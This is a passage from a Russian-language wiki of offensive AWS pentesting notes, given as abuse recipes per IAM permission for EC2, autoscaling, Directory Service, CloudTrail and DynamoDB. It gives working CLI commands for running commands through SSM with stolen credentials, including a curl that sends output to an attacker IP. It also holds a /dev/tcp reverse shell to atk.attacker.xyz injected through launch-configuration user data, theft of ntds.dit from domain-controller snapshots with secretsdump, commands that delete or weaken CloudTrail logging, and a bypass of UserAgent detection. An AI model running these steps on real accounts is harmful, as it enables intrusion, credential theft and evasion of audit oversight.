=== Роли - повышение до админа ===&lt;br /&gt;
&lt;br /&gt;
==== ec2:AssociateIamInstanceProfile ====&lt;br /&gt;
&lt;br /&gt;
Позволяет менять IAM политики/роли/пользователей&lt;br /&gt;
&lt;br /&gt;
==== ec2:CreateInstanceProfile/ec2:AddRoleToInstanceProfile + iam:PassRole ====&lt;br /&gt;
&lt;br /&gt;
Позволяет создать новый привилегированный профиль для инстанса и прикрепить его к скомпрометированной EC2-машине.&lt;br /&gt;
&lt;br /&gt;
=== Роли - управление ===&lt;br /&gt;
&lt;br /&gt;
==== ec2:CreateVolume + ec2:AttachVolume ====&lt;br /&gt;
&lt;br /&gt;
См. EBS.&lt;br /&gt;
&lt;br /&gt;
==== ec2:DescribeSnapshots ====&lt;br /&gt;
&lt;br /&gt;
Позволяет посмотреть информацию о SnapShot'ах, которые позже мб потребуется прочитать:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws  ec2 describe-snapshots --profile flawscloud --owner-id 975426262029 --region us-west-2&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== ec2:CreateVolume ====&lt;br /&gt;
&lt;br /&gt;
Прзврояет примаунтить SnapShot, чтобы потом его изучить:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws ec2 create-volume --profile YOUR_ACCOUNT --availability-zone us-west-2a --region us-west-2  --snapshot-id  snap-0b49342abd1bdcb89&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== ec2:* (Копирование EC2) ====&lt;br /&gt;
&lt;br /&gt;
Позволяет скопировать EC2 используя AMI-images:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
# Создаем новый AMI из Instance-ID&lt;br /&gt;
aws ec2 create-image --instance-id i-0438b003d81cd7ec5 --name &amp;quot;AWS Audit&amp;quot; --description &amp;quot;Export AMI&amp;quot; --region eu-west-1  &lt;br /&gt;
&lt;br /&gt;
# Добавляем наш ключ в систему&lt;br /&gt;
aws ec2 import-key-pair --key-name &amp;quot;AWS Audit&amp;quot; --public-key-material file://~/.ssh/id_rsa.pub --region eu-west-1  &lt;br /&gt;
&lt;br /&gt;
# Создаем EC2-Instance используя созданный AMI (параметры security group и подсеть оставили те же) &lt;br /&gt;
aws ec2 run-instances --image-id ami-0b77e2d906b00202d --security-group-ids &amp;quot;sg-6d0d7f01&amp;quot; --subnet-id subnet-9eb001ea --count 1 --instance-type t2.micro --key-name &amp;quot;AWS Audit&amp;quot; --query &amp;quot;Instances[0].InstanceId&amp;quot; --region eu-west-1&lt;br /&gt;
&lt;br /&gt;
# Проверяем запустился ли инстанс&lt;br /&gt;
aws ec2 describe-instances --instance-ids i-0546910a0c18725a1 &lt;br /&gt;
&lt;br /&gt;
# Не обязательно - редактируем группу инстанса&lt;br /&gt;
aws ec2 modify-instance-attribute --instance-id &amp;quot;i-0546910a0c18725a1&amp;quot; --groups &amp;quot;sg-6d0d7f01&amp;quot;  --region eu-west-1&lt;br /&gt;
&lt;br /&gt;
# В конце работы - останавливаем и удаляем инстанс&lt;br /&gt;
aws ec2 stop-instances --instance-id &amp;quot;i-0546910a0c18725a1&amp;quot; --region eu-west-1 &lt;br /&gt;
aws ec2 terminate-instances --instance-id &amp;quot;i-0546910a0c18725a1&amp;quot; --region eu-west-1&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== ec2-instance-connect:SendSSHPublicKey ====&lt;br /&gt;
&lt;br /&gt;
Добавить SSH-ключ  к EC2-инстансу. Ключ будет существовать 60 секунд.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
# Получаем информацию об инстансе, который будем атаковать.&lt;br /&gt;
aws ec2 describe-instances --profile uploadcreds --region eu-west-1 | jq &amp;quot;.[][].Instances | .[] | {InstanceId, KeyName, State}&amp;quot;&lt;br /&gt;
&lt;br /&gt;
# Добавляем ключ к EC2-инстансу.&lt;br /&gt;
aws ec2-instance-connect send-ssh-public-key --region us-east-1 --instance-id INSTANCE --availability-zone us-east-1d --instance-os-user ubuntu --ssh-public-key file://shortkey.pub --profile uploadcreds&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== ec2-instance-connect:SendSerialConsoleSSHPublicKey ====&lt;br /&gt;
&lt;br /&gt;
Добавить SSH-ключ  к EC2-инстансу. Ключ будет существовать 60 секунд.&lt;br /&gt;
&lt;br /&gt;
В отличие от предыдущего пункта, этот ключ можно использовать только при подключении EC2 Serial Console.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
# Получаем информацию об инстансе, который будем атаковать.&lt;br /&gt;
aws ec2 describe-instances --profile uploadcreds --region eu-west-1 | jq &amp;quot;.[][].Instances | .[] | {InstanceId, KeyName, State}&amp;quot;&lt;br /&gt;
&lt;br /&gt;
# Добавляем ключ к EC2-инстансу.&lt;br /&gt;
aws ec2-instance-connect send-serial-console-ssh-public-key --instance-id i-001234a4bf70dec41EXAMPLE --serial-port 0 --ssh-public-key file://my_key.pub --region us-east-1&lt;br /&gt;
&lt;br /&gt;
# Подключаемся (кроме GovCloud US региона)&lt;br /&gt;
ssh -i my_key i-001234a4bf70dec41EXAMPLE.port0@serial-console.ec2-instance-connect.us-east-1.aws&lt;br /&gt;
# Подключаемся (только для GovCloud US региона)&lt;br /&gt;
ssh -i my_key i-001234a4bf70dec41EXAMPLE.port0@serial-console.ec2-instance-connect.us-gov-east-1.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
# В некоторых случаях нужно подключиться к EC2 и перезагрузить сервис getty (лучше пробовать только, когда не смогли подключиться)&lt;br /&gt;
sudo systemctl restart serial-getty@ttyS0&lt;br /&gt;
# Если не сработало - мб требуется ребутать сервер.&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Также можно подключиться, используя браузер. Подробнее тут: https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/connect-to-serial-console.html&lt;br /&gt;
&lt;br /&gt;
==== ssm:SendCommand ====&lt;br /&gt;
&lt;br /&gt;
Позволяет запускать команды в EC2-Instances. Если нет дополнительных прав, то потребуется:&lt;br /&gt;
&lt;br /&gt;
* Знать Instance-ID, на котором запущен сервис SSM&lt;br /&gt;
&lt;br /&gt;
* Свой сервер, на который будет приходить отстук - результат команды.&lt;br /&gt;
&lt;br /&gt;
Команды для эксплуатации:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
# Получаем информацию о SSM сервисах - может потребоваться ssm:DescribeInstanceInformation&lt;br /&gt;
aws ssm describe-instance-information --profile stolencreds --region eu-west-1  &lt;br /&gt;
# Выполняем команду&lt;br /&gt;
aws ssm send-command --instance-ids &amp;quot;INSTANCE-ID-HERE&amp;quot; --document-name &amp;quot;AWS-RunShellScript&amp;quot; --comment &amp;quot;IP Config&amp;quot; --parameters commands=ifconfig --output text --query &amp;quot;Command.CommandId&amp;quot; --profile stolencreds&lt;br /&gt;
# Получаем результат команды(может не хватить прав ssm:ListCommandInvocations)&lt;br /&gt;
aws ssm list-command-invocations --command-id &amp;quot;COMMAND-ID-HERE&amp;quot; --details --query &amp;quot;CommandInvocations[].CommandPlugins[].{Status:Status,Output:Output}&amp;quot; --profile stolencreds&lt;br /&gt;
&lt;br /&gt;
# Пример - результат команды на удаленный сервер&lt;br /&gt;
$ aws ssm send-command --instance-ids &amp;quot;i-05b████████adaa&amp;quot; --document-name &amp;quot;AWS-RunShellScript&amp;quot; --comment &amp;quot;whoami&amp;quot; --parameters commands='curl 162.243.███.███:8080/`whoami`' --output text --region=us-east-1&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== EC2:CreateSnapshot + Active Directory ====&lt;br /&gt;
&lt;br /&gt;
См. AD.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Auto Scaling (autoscaling) ==&lt;br /&gt;
&lt;br /&gt;
Сервис для масштабирования приложений. Работает преимущественно с EC2, ECS, DynamoDB (таблицы и индексы) и Aurora.&lt;br /&gt;
&lt;br /&gt;
Для работы сервиса требуется:&lt;br /&gt;
&lt;br /&gt;
1. Конфигурация запуска EC2.&lt;br /&gt;
&lt;br /&gt;
2. Конфигурация масштабирования.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Роли - повышение привилегий ==&lt;br /&gt;
&lt;br /&gt;
=== autoscaling:CreateLaunchConfiguration + autoscaling:Create(Update)AutoScalingGroup + iam:PassRole ===&lt;br /&gt;
&lt;br /&gt;
Позволяет создать и запустить конфигурацию масштабирования. &lt;br /&gt;
&lt;br /&gt;
==== Создаем конфигурацию запуска EC2 ====&lt;br /&gt;
&lt;br /&gt;
Для создания требуется:&lt;br /&gt;
&lt;br /&gt;
1. Image-id&lt;br /&gt;
&lt;br /&gt;
2. iam-instance-profile&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Следующая команда создает конфигурацию с командой из файла reverse-shell.sh:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws autoscaling create-launch-configuration --launch-configuration-name demo3-LC --image-id ami-0f90b6b11936e1083 --instance-type t1.micro --iam-instance-profile demo-EC2Admin --metadata-options &amp;quot;HttpEndpoint=enabled,HttpTokens=optional&amp;quot; --associate-public-ip-address --user-data=file://reverse-shell.sh&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Пример содержимого reverse-shell.sh:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
#!/bin/bash&lt;br /&gt;
/bin/bash -l &amp;gt; /dev/tcp/atk.attacker.xyz/443 0&amp;lt;&amp;amp;1 2&amp;gt;&amp;amp;1&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Создаем и запускаем группу масштабируемости ====&lt;br /&gt;
&lt;br /&gt;
Привилегия ec2:DescribeSubnets нужна для выбора нужной сети (чтобы EC2 смог сделать reverse-соедиенение к нам).&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws autoscaling create-auto-scaling-group --auto-scaling-group-name demo3-ASG --launch-configuration-name demo3-LC --min-size 1 --max-size 1 --vpc-zone-identifier &amp;quot;subnet-aaaabbb&amp;quot;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Подробнее тут https://notdodo.medium.com/aws-ec2-auto-scaling-privilege-escalation-d518f8e7f91b&lt;br /&gt;
&lt;br /&gt;
== AD (Directory Service) ==&lt;br /&gt;
&lt;br /&gt;
Второе название - AWS Managed Microsoft Active Directory. Позволяет использовать Active Directory в AWS.&lt;br /&gt;
&lt;br /&gt;
Основные понятия:&lt;br /&gt;
&lt;br /&gt;
* EC2-Instance - VPS на которых крутится весь Active Directory&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Роли - повышение привилегий ===&lt;br /&gt;
&lt;br /&gt;
==== EC2:CreateSnapshot + EC2:RunInstance -&amp;gt; ShadowCopy ====&lt;br /&gt;
&lt;br /&gt;
Позволяет провести атаку ShadowCopy на доменный контроллер и считать учетные данные всех пользователей.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Последовательность атаки:&lt;br /&gt;
&lt;br /&gt;
1. Получаем список инстансов&lt;br /&gt;
&lt;br /&gt;
2. Создаем Snapshot выбранного сервера&lt;br /&gt;
&lt;br /&gt;
3. Редактируем атрибуты у SnapShot для доступа с аккаунта атакующего. &lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws ec2 modify-snapshot-attribute --snapshot-id snap-1234567890abcdef0 --attribute createVolumePermission  --operation-type remove --user-ids 123456789012&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
4. Переключаемся на аккаунт атакующего&lt;br /&gt;
&lt;br /&gt;
5. Создаем новый Linux EC2-инстанс, к которому будет прикреплен SnapShot&lt;br /&gt;
&lt;br /&gt;
6. Подключаемся по SSH и получаем данные из SnapShot&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
sudo -s&lt;br /&gt;
mkdir /tmp/windows&lt;br /&gt;
mount /dev/xvdf1 /tmp/windows/&lt;br /&gt;
cd  /tmp/windows/&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
7. Работаем с данными на примонтированном диске, который будет в /tmp/windows/. Пример команд для извлечения ntds.dit:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
cp /windows/Windows/NTDS/ntds.dit /home/ec2-user&lt;br /&gt;
cp /windows/Windows/System32/config/SYSTEM /home/ec2-user&lt;br /&gt;
chown ec2-user:ec2-user /home/ec2-user/*&lt;br /&gt;
# Sftp - скачиваем файлы:&lt;br /&gt;
/home/ec2-user/SYSTEM&lt;br /&gt;
/home/ec2-user/ntds.dit&lt;br /&gt;
# Получаем учетные данные, используя Impacket-secretsdump&lt;br /&gt;
secretsdump.py -system ./SYSTEM -ntds ./ntds.dit local -outputfile secrets&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== CloudTrail ==&lt;br /&gt;
&lt;br /&gt;
Сервис для аудита событий в AWS-аккаунте (включен в каждом аккаунте по-умолчанию). Сервис позволяет вести журналы, осуществлять непрерывный мониторинг и сохранять информацию об истории аккаунта в пределах всей используемой инфраструктуры AWS.&lt;br /&gt;
&lt;br /&gt;
Записывает:&lt;br /&gt;
&lt;br /&gt;
* API-вызовы&lt;br /&gt;
&lt;br /&gt;
* Логины в систему&lt;br /&gt;
&lt;br /&gt;
* События сервисов&lt;br /&gt;
&lt;br /&gt;
* ???&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Важен при операциях RedTeam.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Название файла логов:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
AccountID_CloudTrail_RegionName_YYYYMMDDTHHmmZ_UniqueString.FileNameFormat&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
S3 путь до логов:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
BucketName/prefix/AWSLogs/AccountID/CloudTrail/RegionName/YYYY/MM/DD&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Путь у CloudTrail-Digest файлов:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
s3://s3-bucket-name/optional-prefix/AWSLogs/aws-account-id/CloudTrail-Digest/region/digest-end-year/digest-end-month/digest-end-data/aws-account-id_CloudTrail-Digest_region_trail-name_region_digest_end_timestamp.json.gz&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Основные поля у событий:&lt;br /&gt;
&lt;br /&gt;
* eventName - имя API-endpoint&lt;br /&gt;
&lt;br /&gt;
* eventSource - вызванный сервис&lt;br /&gt;
&lt;br /&gt;
* eventTime - время события&lt;br /&gt;
&lt;br /&gt;
* SourceIPAddress - ip-адрес источника&lt;br /&gt;
&lt;br /&gt;
* userAgent - метод запроса&lt;br /&gt;
** &amp;quot;signing.amazonaws.com&amp;quot; - запрос от AWS Management Console&lt;br /&gt;
** &amp;quot;console.amazonaws.com&amp;quot; - запрос от root-пользователя аккаунта&lt;br /&gt;
** &amp;quot;lambda.amazonaws.com&amp;quot; - запрос от AWS Lambda&lt;br /&gt;
&lt;br /&gt;
* requestParameters - параметры запроса&lt;br /&gt;
&lt;br /&gt;
* responseElements - элементы ответа.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Временные параметры:&lt;br /&gt;
&lt;br /&gt;
* 5 минут - сохраняется новый лог-файл&lt;br /&gt;
&lt;br /&gt;
* 15 минут - сохраняется в S3.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Важно! Сохраняется чексумма файлов, поэтому пользователи могут удостовериться что логи не менялись.&lt;br /&gt;
Также логи могут уходить напрямую в CloudWatch - администраторам может прилететь уведомление об ИБ-инцидентах. Или события могут быть проанализированы внутренним модулем CloudTrail - Insights на предмет необычной активности.&lt;br /&gt;
&lt;br /&gt;
=== Роли - управление ===&lt;br /&gt;
&lt;br /&gt;
==== cloudtrail:DeleteTrail ====&lt;br /&gt;
&lt;br /&gt;
Позволяет отключить мониторинг:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws cloudtrail delete-trail --name cloudgoat_trail --profile administrator&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== cloudtrail:UpdateTrail ====&lt;br /&gt;
&lt;br /&gt;
Права на редактирование правил монитринга.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Отключить мониторинг глобальных сервисов:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws cloudtrail update-trail --name cloudgoat_trail --no-include-global-service-event&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Отключить мониторинг на конкретные регионы:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws cloudtrail update-trail --name cloudgoat_trail --no-include-global-service-event --no-is-multi-region --region=eu-west&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== validate-logs ====&lt;br /&gt;
&lt;br /&gt;
Проверить, были ли изменены логи.&lt;br /&gt;
&lt;br /&gt;
aws cloudtrail validate-logs --trail-arn &amp;lt;trailARN&amp;gt; --start-time &amp;lt;start-time&amp;gt; [--end-time &amp;lt;end-time&amp;gt;] [--s3-bucket &amp;lt;bucket-name&amp;gt;] [--s3-prefix &amp;lt;prefix&amp;gt;] [--verbose]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Эксплуатация ===&lt;br /&gt;
&lt;br /&gt;
==== Обход правила по UserAgent ====&lt;br /&gt;
&lt;br /&gt;
На сервисе есть правило, по которому определяет, что запросы были сделаны с kali/parrot/pentoo используя awscli.&lt;br /&gt;
&lt;br /&gt;
Для этого можно воспользоваться утилитой pacu, которая автоматически подменяет useragent. Использование утилиты в конце статьи.&lt;br /&gt;
&lt;br /&gt;
== DynamoDB ==&lt;br /&gt;
&lt;br /&gt;
Cистема управления базами данных класса NoSQL в формате «ключ — значение».&lt;br /&gt;
&lt;br /&gt;
=== Роли - управление ===&lt;br /&gt;
&lt;br /&gt;
==== dynamodb:ListTables ====&lt;br /&gt;
&lt;br /&gt;
Позволяет посмотреть спрсок таблиц базы данных.&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws --endpoint-url http://s3.bucket.htb dynamodb list-tables        &lt;br /&gt;
&lt;br /&gt;
{&lt;br /&gt;
    &amp;quot;TableNames&amp;quot;: [&lt;br /&gt;
        &amp;quot;users&amp;quot;&lt;br /&gt;
    ]&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== dynamodb:Scan ====&lt;br /&gt;
&lt;br /&gt;
Получение обьектов из базы данных:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws --endpoint-url http://s3.bucket.htb dynamodb scan --table-name users | jq -r '.Items[]'&lt;br /&gt;
&lt;br /&gt;
{&lt;br /&gt;
  &amp;quot;password&amp;quot;: {&lt;br /&gt;
    &amp;quot;S&amp;quot;: &amp;quot;Management@#1@#&amp;quot;&lt;br /&gt;
  },&lt;br /&gt;
  &amp;quot;username&amp;quot;: {&lt;br /&gt;
    &amp;quot;S&amp;quot;: &amp;quot;Mgmt&amp;quot;&lt;br /&gt;
  }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== ES (ElasticSearch) ==&lt;br /&gt;
&lt;br /&gt;
ElasticSearch от AWS. Используется для просмотра логов/журналов, поиска на вебсайте и тд.&lt;br /&gt;
&lt;br /&gt;
Формат ссылки:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
https://{user_provided}-{random_id}.{region}.es.amazonaws.com&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== ELB (Elastic Load Balancing) ==&lt;br /&gt;
&lt;br /&gt;
Балансировщик нагрузки.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Формат ссылки (elb_v1):&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
http://{user_provided}-{random_id}.{region}.elb.amazonaws.com:80/443&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Формат ссылки (elb_v2):&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
https://{user_provided}-{random_id}.{region}.elb.amazonaws.com&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== RDS (Relational Database Service) ==&lt;br /&gt;
&lt;br /&gt;
Облачная реляционная база данных (на выбор).&lt;br /&gt;
&lt;br /&gt;
Формат ссылки:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
mysql://{user_provided}.{random_id}.{region}.rds.amazonaws.com:3306&lt;br /&gt;
postgres://{user_provided}.{random_id}.{region}.rds.amazonaws.com:5432&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Route 53 ==&lt;br /&gt;
&lt;br /&gt;
Настраиваемая служба DNS.&lt;br /&gt;
&lt;br /&gt;
Формат ссылки:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
{user_provided}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== API Gateway ==&lt;br /&gt;
&lt;br /&gt;
API-сервис, который будет доступен почти со всех серверов.&lt;br /&gt;
&lt;br /&gt;
Формат ссылки:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
https://{restapi_id}.execute-api.{region}.amazonaws.com/{stage_name}/&lt;br /&gt;
https://{random_id}.execute-api.{region}.amazonaws.com/{user_provided}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== CloudSearch ==&lt;br /&gt;
&lt;br /&gt;
Альтернатива сервису ElasticSearch. Система для упрощения поиска для администрирования и, например, на вебсайте.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Формат ссылки:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
https://doc-{user_provided}-{random_id}.{region}.cloudsearch.amazonaws.com&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Transfer Family  ==&lt;br /&gt;
&lt;br /&gt;
Группа сервисов для передачи файлов (S3/EFS) по (SFTP, FTPS, FTP).&lt;br /&gt;
&lt;br /&gt;
Формат ссылки:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
sftp://s-{random_id}.server.transfer.{region}.amazonaws.com&lt;br /&gt;
ftps://s-{random_id}.server.transfer.{region}.amazonaws.com&lt;br /&gt;
ftp://s-{random_id}.server.transfer.{region}.amazonaws.com&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== IoT (Internet Of Things) ==&lt;br /&gt;
&lt;br /&gt;
Сервис для управления IoT-устройствами.&lt;br /&gt;
&lt;br /&gt;
Формат ссылки:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
mqtt://{random_id}.iot.{region}.amazonaws.com:8883&lt;br /&gt;
https://{random_id}.iot.{region}.amazonaws.com:8443&lt;br /&gt;
https://{random_id}.iot.{region}.amazonaws.com:443&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== MQ ==&lt;br /&gt;
&lt;br /&gt;
